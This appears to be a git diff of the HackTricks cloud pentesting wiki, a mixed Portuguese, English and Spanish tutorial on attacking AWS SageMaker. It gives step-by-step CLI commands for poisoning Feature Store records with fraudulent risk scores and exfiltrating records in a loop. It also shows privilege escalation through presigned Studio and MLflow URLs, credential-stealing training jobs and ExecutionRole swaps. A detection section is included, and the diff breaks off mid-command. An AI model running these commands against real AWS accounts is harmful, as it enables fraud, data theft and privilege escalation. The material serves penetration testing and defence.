mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-13 00:00:24 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -1,50 +1,160 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Abusar de `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de feature ao vivo consumidos pela inferência online. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis. Isso não requer acesso a modelos ou endpoints.
|
||||
Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled para sobrescrever valores de feature ativos consumidos pela inferência online. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis e exfiltrar dados confidenciais de ML. Isso não requer acesso a modelos ou endpoints, tornando-o um ataque direto na camada de dados.
|
||||
|
||||
## Requisitos
|
||||
- Permissões: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Alvo: Feature Group com OnlineStore habilitado (tipicamente suportando inferência em tempo real)
|
||||
- Alvo: Feature Group com OnlineStore enabled (tipicamente backing real-time inference)
|
||||
- Complexidade: **BAIXA** - Comandos simples do AWS CLI, nenhuma manipulação de modelo necessária
|
||||
|
||||
## Passos
|
||||
1) Escolha ou crie um pequeno Online Feature Group para testes
|
||||
## Etapas
|
||||
|
||||
### Reconnaissance
|
||||
|
||||
1) List Feature Groups with OnlineStore enabled
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
--region $REGION \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Descrever um Feature Group alvo para entender seu esquema
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Observe o `RecordIdentifierFeatureName`, `EventTimeFeatureName` e todas as definições de feature. Estes são necessários para criar registros válidos.
|
||||
|
||||
### Cenário de Ataque 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
1) Leia o registro legítimo atual
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) Envenene o registro com valores maliciosos usando o parâmetro inline `--record`
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Verificar os dados envenenados
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Impacto**: Modelos de ML que consumirem essa feature agora verão `risk_score=0.99` para um usuário legítimo, potencialmente bloqueando suas transações ou serviços.
|
||||
|
||||
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
Injetar registros completamente novos com features manipuladas para burlar controles de segurança:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Create fake user with artificially low risk to perform fraudulent transactions
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Verifique a injeção:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Impacto**: Um atacante cria uma identidade falsa com pontuação de risco baixa (0.01) que pode realizar transações fraudulentas de alto valor sem acionar a detecção de fraude.
|
||||
|
||||
### Cenário de Ataque 3: Exfiltração de Dados Sensíveis
|
||||
|
||||
Ler múltiplos registros para extrair features confidenciais e mapear o comportamento do modelo:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
echo "Exfiltrating data for ${USER_ID}:"
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Impacto**: features confidenciais (pontuações de risco, padrões de transações, dados pessoais) expostos a um atacante.
|
||||
|
||||
### Criação de Feature Group de Teste/Demonstração (Opcional)
|
||||
|
||||
Se precisar criar um Feature Group de teste:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
FG=test-fg-$ACC-$(date +%s)
|
||||
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
|
||||
aws sagemaker create-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-feature-name entity_id \
|
||||
--event-time-feature-name event_time \
|
||||
--feature-definitions "[
|
||||
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
|
||||
]" \
|
||||
--online-store-config "{\"EnableOnlineStore\":true}" \
|
||||
--role-arn "$ROLE_ARN"
|
||||
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
```
|
||||
2) Inserir/substituir um registro online (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
3) Ler o registro para confirmar a manipulação
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
Esperado: risk_score retorna 0.99 (definido pelo atacante), comprovando a capacidade de alterar features online consumidas pelos modelos.
|
||||
|
||||
## Impact
|
||||
- Ataque de integridade em tempo real: manipular features usadas por modelos de produção sem tocar em endpoints/models.
|
||||
- Risco de confidencialidade: ler features sensíveis via GetRecord do OnlineStore.
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Detecção
|
||||
|
||||
Monitore o CloudTrail em busca de padrões suspeitos:
|
||||
- eventos `PutRecord` de entidades IAM incomuns ou endereços IP
|
||||
- Chamadas `PutRecord` ou `GetRecord` em alta frequência
|
||||
- `PutRecord` com valores de feature anômalos (por exemplo, risk_score fora do intervalo normal)
|
||||
- Operações em massa `GetRecord` indicando exfiltração em massa
|
||||
- Acesso fora do horário comercial normal ou de locais inesperados
|
||||
|
||||
Implemente detecção de anomalias:
|
||||
- Validação de valores de feature (por exemplo, risk_score deve ser 0.0-1.0)
|
||||
- Análise de padrões de escrita (frequência, horários, identidade da origem)
|
||||
- Detecção de drift de dados (mudanças súbitas nas distribuições de feature)
|
||||
|
||||
## Referências
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -6,34 +6,117 @@
|
||||
|
||||
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Comece a criar um notebook com o IAM Role associado a ele:
|
||||
Comece a criar um notebook com a IAM Role anexada a ele:
|
||||
```bash
|
||||
aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
A resposta deve conter um campo `NotebookInstanceArn`, que conterá o ARN da instância de notebook recém-criada. Em seguida, podemos usar a API `create-presigned-notebook-instance-url` para gerar uma URL que podemos usar para acessar a instância de notebook assim que ela estiver pronta:
|
||||
A resposta deve conter o campo `NotebookInstanceArn`, que conterá o ARN da instância de notebook recém-criada. Em seguida, podemos usar a API `create-presigned-notebook-instance-url` para gerar uma URL que podemos usar para acessar a instância de notebook assim que ela estiver pronta:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
Navegue até a URL com o navegador e clique em `Open JupyterLab` no canto superior direito, depois role até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”.
|
||||
Navegue até a URL com o navegador e clique em \`Open JupyterLab\`\` no canto superior direito, então role para baixo até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”.
|
||||
|
||||
Agora é possível acessar as credenciais de metadata do IAM Role.
|
||||
Agora é possível acessar as credenciais de metadados do IAM Role.
|
||||
|
||||
**Impacto Potencial:** Privesc para o sagemaker service role especificado.
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Se houver Jupyter **notebooks já em execução** nele e você puder listá-los com `sagemaker:ListNotebookInstances` (ou descobri-los de qualquer outra forma). Você pode **gerar uma URL para eles, acessá-los e roubar as credenciais como indicado na técnica anterior**.
|
||||
Se houver Jupyter **notebooks já em execução** nele e você puder listá-los com `sagemaker:ListNotebookInstances` (ou descobri-los de qualquer outra forma). Você pode **gerar uma URL para eles, acessá-los e roubar as credenciais conforme indicado na técnica anterior**.
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
**Impacto potencial:** Privesc para a sagemaker service role anexada.
|
||||
**Impacto Potencial:** Privesc para a função de serviço do sagemaker anexada.
|
||||
|
||||
|
||||
## `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
> [!WARNING]
|
||||
> Este ataque só funciona em domínios antigos tradicionais do SageMaker Studio, não naqueles criados pelo SageMaker Unified Studio. Domínios do Unified Studio retornarão o erro: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
|
||||
|
||||
Uma identidade com permissão para chamar `sagemaker:CreatePresignedDomainUrl` em um `UserProfile` alvo do Studio pode gerar uma URL de login que autentica diretamente no SageMaker Studio como esse perfil. Isso concede ao navegador do atacante uma sessão do Studio que herda as permissões do `ExecutionRole` do perfil e acesso completo à home e aos apps do perfil armazenados em EFS. Nenhum `iam:PassRole` ou acesso ao console é necessário.
|
||||
|
||||
**Requisitos**:
|
||||
- Um `Domain` do SageMaker Studio e um `UserProfile` alvo dentro dele.
|
||||
- A entidade atacante precisa de `sagemaker:CreatePresignedDomainUrl` no `UserProfile` alvo (nível‑de‑recurso) ou `*`.
|
||||
|
||||
Exemplo mínimo de política (escopada a um `UserProfile`):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
**Etapas de Abuso**:
|
||||
|
||||
1) Enumerar um Studio Domain e UserProfiles que você pode direcionar
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
2) Verifique se unified studio não está sendo usado (attack só funciona em domínios tradicionais do SageMaker Studio)
|
||||
```bash
|
||||
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
|
||||
# If you get info about unified studio, this attack won't work
|
||||
```
|
||||
3) Gerar uma URL pré-assinada (válida ~5 minutos por padrão)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
4) Abra a URL retornada em um navegador para fazer login no Studio como o usuário alvo. Em um terminal Jupyter dentro do Studio verifique a identidade efetiva ou exfiltrate o token:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Notas:
|
||||
- `--landing-uri` pode ser omitido. Alguns valores (por exemplo, `app:JupyterLab:/lab`) podem ser rejeitados dependendo da flavor/version do Studio; os padrões normalmente redirecionam para a página inicial do Studio e depois para o Jupyter.
|
||||
- Políticas da organização/restrições de VPC endpoint ainda podem bloquear o acesso de rede; o token minting não requer console sign‑in nem `iam:PassRole`.
|
||||
|
||||
**Potential Impact**: Movimento lateral e privilege escalation ao assumir qualquer Studio `UserProfile` cujo ARN seja permitido, herdando seu `ExecutionRole` e filesystem/apps.
|
||||
|
||||
|
||||
### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
|
||||
|
||||
Uma identidade com permissão para chamar `sagemaker:CreatePresignedMlflowTrackingServerUrl` (e `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` para acesso posterior) para um SageMaker MLflow Tracking Server alvo pode gerar uma presigned URL de uso único que autentica diretamente na MLflow UI gerenciada desse servidor. Isso concede o mesmo acesso que um usuário legítimo teria ao servidor (visualizar/criar experimentos e execuções, e baixar/enviar artefatos no S3 artifact store do servidor).
|
||||
|
||||
**Requirements:**
|
||||
- Um SageMaker MLflow Tracking Server na conta/região e o seu nome.
|
||||
- A entidade atacante precisa de `sagemaker:CreatePresignedMlflowTrackingServerUrl` no recurso do MLflow Tracking Server alvo (ou `*`).
|
||||
|
||||
**Abuse Steps**:
|
||||
|
||||
1) Enumere os MLflow Tracking Servers que você pode atingir e escolha um nome
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
2) Gerar uma URL pré-assinada da UI do MLflow (válida por um curto período)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) Abra a URL retornada em um navegador para acessar o MLflow UI como um usuário autenticado daquele Tracking Server.
|
||||
|
||||
**Impacto Potencial:** Acesso direto ao MLflow UI gerenciado do Tracking Server alvo, permitindo visualizar e modificar experimentos/execuções e recuperar ou enviar artefatos armazenados no S3 artifact store configurado do servidor, dentro das permissões aplicadas pela configuração do servidor.
|
||||
|
||||
|
||||
### `sagemaker:CreateProcessingJob`, `iam:PassRole`
|
||||
|
||||
Um atacante com essas permissões pode fazer com que o **SageMaker execute um processing job** com uma SageMaker role anexada a ele. Reutilizando um dos AWS Deep Learning Containers que já inclui Python (e executando o job na mesma região que o URI), você pode executar código inline sem construir suas próprias imagens:
|
||||
Um atacante com essas permissões pode fazer com que o **SageMaker execute um processing job** com uma SageMaker role anexada a ele. Reutilizando um dos AWS Deep Learning Containers que já inclui Python (e executando o job na mesma região que o URI), você pode executar código inline sem construir imagens próprias:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-arn-role>
|
||||
@@ -49,11 +132,11 @@ aws sagemaker create-processing-job \
|
||||
|
||||
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
|
||||
```
|
||||
**Impacto potencial:** Privesc para o sagemaker service role especificado.
|
||||
**Potential Impact:** Privesc para o sagemaker service role especificado.
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
Um atacante com essas permissões pode iniciar um training job que executa código arbitrário com o role indicado. Usando um contêiner oficial do SageMaker e sobrescrevendo o entrypoint com um payload inline, você não precisa construir suas próprias imagens:
|
||||
Um atacante com essas permissões pode iniciar um training job que executa código arbitrário com o role indicado. Usando um contêiner oficial do SageMaker e sobrescrevendo o entrypoint com um payload inline, você não precisa construir imagens próprias:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-role-to-abuse>
|
||||
@@ -73,11 +156,11 @@ aws sagemaker create-training-job \
|
||||
|
||||
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
|
||||
```
|
||||
**Impacto Potencial:** Privesc para a service role do SageMaker especificada.
|
||||
**Impacto potencial:** Privesc para o SageMaker service role especificado.
|
||||
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
Um atacante com essas permissões pode iniciar um HyperParameter Tuning Job que executa código controlado pelo atacante sob a service role fornecida. O modo Script requer hospedar o payload no S3, mas todos os passos podem ser automatizados pela CLI:
|
||||
Um atacante com essas permissões pode iniciar um HyperParameter Tuning Job que executa código controlado pelo atacante sob a role fornecida. O modo script requer hospedar o payload no S3, mas todos os passos podem ser automatizados via CLI:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-role-to-abuse>
|
||||
@@ -186,25 +269,26 @@ aws sagemaker create-hyper-parameter-tuning-job \
|
||||
Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
|
||||
|
||||
|
||||
### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Troca de role do Studio (sem `iam:PassRole`)
|
||||
### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
Prioridad de ExecutionRole:
|
||||
Com a permissão para atualizar um SageMaker Studio perfil de usuário, criar um app, uma presigned URL para o app e `iam:PassRole`, um atacante pode definir o `ExecutionRole` para qualquer role do IAM que o principal de serviço do SageMaker possa assumir. Novos apps do Studio iniciados para esse perfil serão executados com a role trocada, concedendo permissões elevadas interativas via terminais Jupyter ou jobs iniciados a partir do Studio.
|
||||
|
||||
- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol.
|
||||
- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil.
|
||||
- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol.
|
||||
> [!WARNING]
|
||||
> This attack requires that there are no applications in the profile or the app creation will fail with an error similar to: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
|
||||
> If there is any app you will need `sagemaker:DeleteApp` permission to delete them first.
|
||||
|
||||
Com permissões para atualizar um SageMaker Studio User Profile (ou Space/Domain), um atacante pode definir o `ExecutionRole` para qualquer IAM role que o principal de serviço do SageMaker possa assumir. Ao contrário das APIs de criação de jobs, as APIs de atualização de perfil do Studio não exigem `iam:PassRole`. Novos apps do Studio lançados para esse perfil serão executados com a role trocada, concedendo permissões elevadas interativas via terminais Jupyter ou jobs iniciados a partir do Studio.
|
||||
|
||||
Passos:
|
||||
Etapas:
|
||||
```bash
|
||||
# 1) List Studio user profiles and pick a target
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 2) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
# 3) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
aws sagemaker update-user-profile \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
@@ -215,18 +299,59 @@ aws sagemaker describe-user-profile \
|
||||
--user-profile-name <USER> \
|
||||
--query 'UserSettings.ExecutionRole' --output text
|
||||
|
||||
# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
|
||||
aws sagemaker update-space \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--space-settings ExecutionRole=$ROLE_ARN
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
aws sagemaker describe-space \
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--query 'SpaceSettings.ExecutionRole' --output text
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# 4) Optionally, change the domain default so every profile inherits the new role
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
|
||||
```
|
||||
**Impacto Potencial**: Escalonamento de privilégios para as permissões do ExecutionRole especificado do SageMaker para sessões interativas do Studio.
|
||||
|
||||
|
||||
### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
Com permissões para atualizar um SageMaker Studio Domain, criar um app, gerar uma presigned URL para o app e `iam:PassRole`, um atacante pode definir o `ExecutionRole` padrão do domain para qualquer IAM role que o SageMaker service principal possa assumir. Novos Studio apps lançados para esse profile irão executar com a role trocada, concedendo permissões elevadas interativas via terminais Jupyter ou jobs iniciados a partir do Studio.
|
||||
|
||||
> [!WARNING]
|
||||
> Este ataque requer que não existam aplicações no domain ou a criação do app falhará com o erro: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
|
||||
|
||||
Passos:
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 3) Change the domain default so every profile inherits the new role
|
||||
aws sagemaker update-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--default-user-settings ExecutionRole=$ROLE_ARN
|
||||
@@ -235,22 +360,86 @@ aws sagemaker describe-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--query 'DefaultUserSettings.ExecutionRole' --output text
|
||||
|
||||
# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
|
||||
aws sagemaker create-app \
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-atk
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
|
||||
# aws sts get-caller-identity # should reflect the new ExecutionRole
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-domain-escalated
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
**Impacto Potencial**: Privilege escalation às permissões do SageMaker execution role especificado para interactive Studio sessions.
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
```
|
||||
**Impacto Potencial**: Escalada de privilégios para as permissões do papel de execução especificado do SageMaker para sessões interativas do Studio.
|
||||
|
||||
### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
Um atacante com permissão para criar um app do SageMaker Studio para um UserProfile alvo pode lançar um app JupyterServer que executa com o `ExecutionRole` do UserProfile. Isso fornece acesso interativo às permissões do role via terminais do Jupyter ou jobs iniciados a partir do Studio.
|
||||
|
||||
Passos:
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# 3) Create a JupyterServer app for the user profile
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-privesc
|
||||
|
||||
# 4) Generate a presigned URL to access Studio
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
```
|
||||
**Impacto Potencial**: Acesso interativo à função de execução do SageMaker anexada ao UserProfile alvo.
|
||||
|
||||
|
||||
### `iam:GetUser`, `datazone:CreateUserProfile`
|
||||
|
||||
Um atacante com essas permissões pode conceder a um usuário IAM acesso a um Sagemaker Unified Studio Domain criando um DataZone User Profile para esse usuário.
|
||||
```bash
|
||||
# List domains
|
||||
aws datazone list-domains --region us-east-1 \
